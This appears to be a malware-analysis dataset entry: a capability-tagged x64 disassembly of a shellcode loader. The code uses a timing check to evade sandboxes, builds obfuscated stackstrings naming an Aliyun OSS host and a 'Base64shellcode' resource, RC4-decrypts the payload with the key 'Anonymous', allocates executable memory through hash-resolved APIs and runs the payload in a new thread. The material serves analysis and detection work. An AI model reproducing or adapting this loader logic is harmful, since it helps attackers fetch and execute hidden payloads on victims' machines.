Function at 0x1400031f0
Capabilities:
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x458]
sub rsp, 0x528
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xorps xmm6, xmm6
cvtsi2sd xmm6, qword [rbp + 0x460]
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rbx, qword [rbp + 0x460]
movsd xmm7, qword [0x14002e450]
nop word [rax + rax]
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0x460]
sub rax, rbx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm0, xmm6
comisd xmm7, xmm0
ja 0x140003250
movdqa xmm0, xmmword [str.tttttoss.oss_cn_hongkong.aliyunc_Base64shellcode_]
movdqu xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14002e490]
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], 0x6f632e73
mov word [rbp - 0x5c], 0x6d
movdqa xmm0, xmmword [0x14002e4a0]
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x48], 0x696e692e
mov byte [rbp - 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xor r15d, r15d
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r15
lea rax, [rbp - 0x80]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x1400032e0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x38]
call fcn.1400018f0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
lea rax, [rbp - 0x58]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140003310
mov r8, rbx
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.1400018f0
nop
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r8, qword [rbp - 0x80]
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x58]
call fcn.140002880
nop
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x60]
call fcn.140001450
nop
mov qword [rbp + 0x3f0], r15
movdqa xmm2, xmmword [0x14002e470]
mov ecx, 8
lea rdx, [rbp + 0x10]
nop word [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movdqu xmmword [rdx - 0x20], xmm0
lea eax, [rcx - 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movdqu xmmword [rdx - 0x10], xmm1
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
movdqu xmmword [rdx], xmm0
lea eax, [rcx + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movdqu xmmword [rdx + 0x10], xmm1
add ecx, 0x10
lea rdx, [rdx + 0x40]
lea eax, [rcx - 8]
cmp eax, 0x100
jl 0x140003380
mov r8d, r15d
mov r9d, r15d
lea r10, [rbp - 0x10]
lea rbx, str.Anonymous
nop dword [rax]
nop word [rax + rax]
mov r11d, dword [r10]
mov eax, 0x38e38e39
mul r9d
shr edx, 1
lea eax, [rdx + rdx*8]
mov ecx, r9d
sub ecx, eax
movzx ecx, byte [rcx + rbx]
add ecx, r11d
add r8d, ecx
and r8d, 0x800000ff
jge 0x140003435
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
mov eax, dword [rbp + rcx*4 - 0x10]
mov dword [r10], eax
movzx eax, r11b
mov dword [rbp + rcx*4 - 0x10], eax
inc r9d
add r10, 4
cmp r9d, 0x100
jl 0x140003400
lea r8, [rsp + 0x60]
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
cmp rcx, 0xf
cmova r8, rax
mov r14d, dword [rsp + 0x70]
test r14d, r14d
je 0x14000353b
mov r11d, r14d
mov r10d, dword [rbp + 0x3f4]
mov r9d, dword [rbp + 0x3f0]
nop dword [rax]
lea eax, [r9 + 1]
and eax, 0x800000ff
jge 0x1400034a4
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x3f0], eax
movsxd r9, eax
mov ecx, dword [rbp + r9*4 - 0x10]
add ecx, r10d
and ecx, 0x800000ff
jge 0x1400034c7
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [rbp + 0x3f4], ecx
movzx edx, byte [rbp + r9*4 - 0x10]
movsxd rax, ecx
mov ecx, dword [rbp + rax*4 - 0x10]
mov dword [rbp + r9*4 - 0x10], ecx
movsxd rax, dword [rbp + 0x3f4]
mov dword [rbp + rax*4 - 0x10], edx
movsxd r10, dword [rbp + 0x3f4]
movsxd r9, dword [rbp + 0x3f0]
mov edx, dword [rbp + r10*4 - 0x10]
add edx, dword [rbp + r9*4 - 0x10]
and edx, 0x800000ff
jge 0x140003514
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [rbp + rax*4 - 0x10]
xor byte [r8], cl
inc r8
sub r11, 1
jne 0x140003490
mov rcx, qword [rsp + 0x78]
mov r14d, dword [rsp + 0x70]
mov rax, qword [rsp + 0x60]
lea rdi, [rsp + 0x60]
cmp rcx, 0xf
cmova rdi, rax
movsxd rbx, r14d
mov rcx, rbx
call fcn.140007424
mov rsi, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.140022150
mov byte [rsi], 0
mov rcx, r15
movsxd r8, r14d
sub r8, 1
js 0x1400035b0
lea rdx, [r8 + rdi]
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [rsi + rcx], al
inc rcx
lea rdx, [rdx - 1]
cmp rcx, r8
jle 0x140003580
mov rdx, rsi
sub rdx, rdi
lea rcx, [r8 + 1]
nop dword [rax]
movzx eax, byte [rdx + rdi]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x1400035a0
mov rcx, rsi
call fcn.1400073f0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rbx, rax
mov ecx, 0x14044ae
call fcn.140002790
mov ecx, eax
call fcn.140004ad0
mov qword [rbp + 0x468], r15
mov rcx, qword [rsp + 0x70]
mov qword [rbp + 0x470], rcx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x470]
xor r8d, r8d
lea rdx, [rbp + 0x468]
mov rcx, rbx
call fcn.140004ae1
mov ecx, 0x1130814d
call fcn.140002790
mov ecx, eax
call fcn.140004ad0
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r8, qword [rsp + 0x60]
mov qword [rsp + 0x20], r15
mov r9, qword [rsp + 0x70]
mov rdx, qword [rbp + 0x468]
mov rcx, rbx
call fcn.140004ae1
mov ecx, 0x93ec9d3d
call fcn.140002790
mov ecx, eax
call fcn.140004ad0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov rax, qword [rbp + 0x468]
mov qword [rsp + 0x20], rax
mov r9, rbx
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x478]
call fcn.140004ae1
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400036eb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037d1
call fcn.1400073f0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000373a
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037d7
call fcn.1400073f0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003772
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000376c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037dd
call fcn.1400073f0
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400037a9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400037cb
call fcn.1400073f0
xor eax, eax
movaps xmm6, xmmword [rsp + 0x510]
movaps xmm7, xmmword [rsp + 0x500]
add rsp, 0x528
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14000e0b4
nop
call fcn.14000e0b4
nop
call fcn.14000e0b4
nop
call fcn.14000e0b4
int3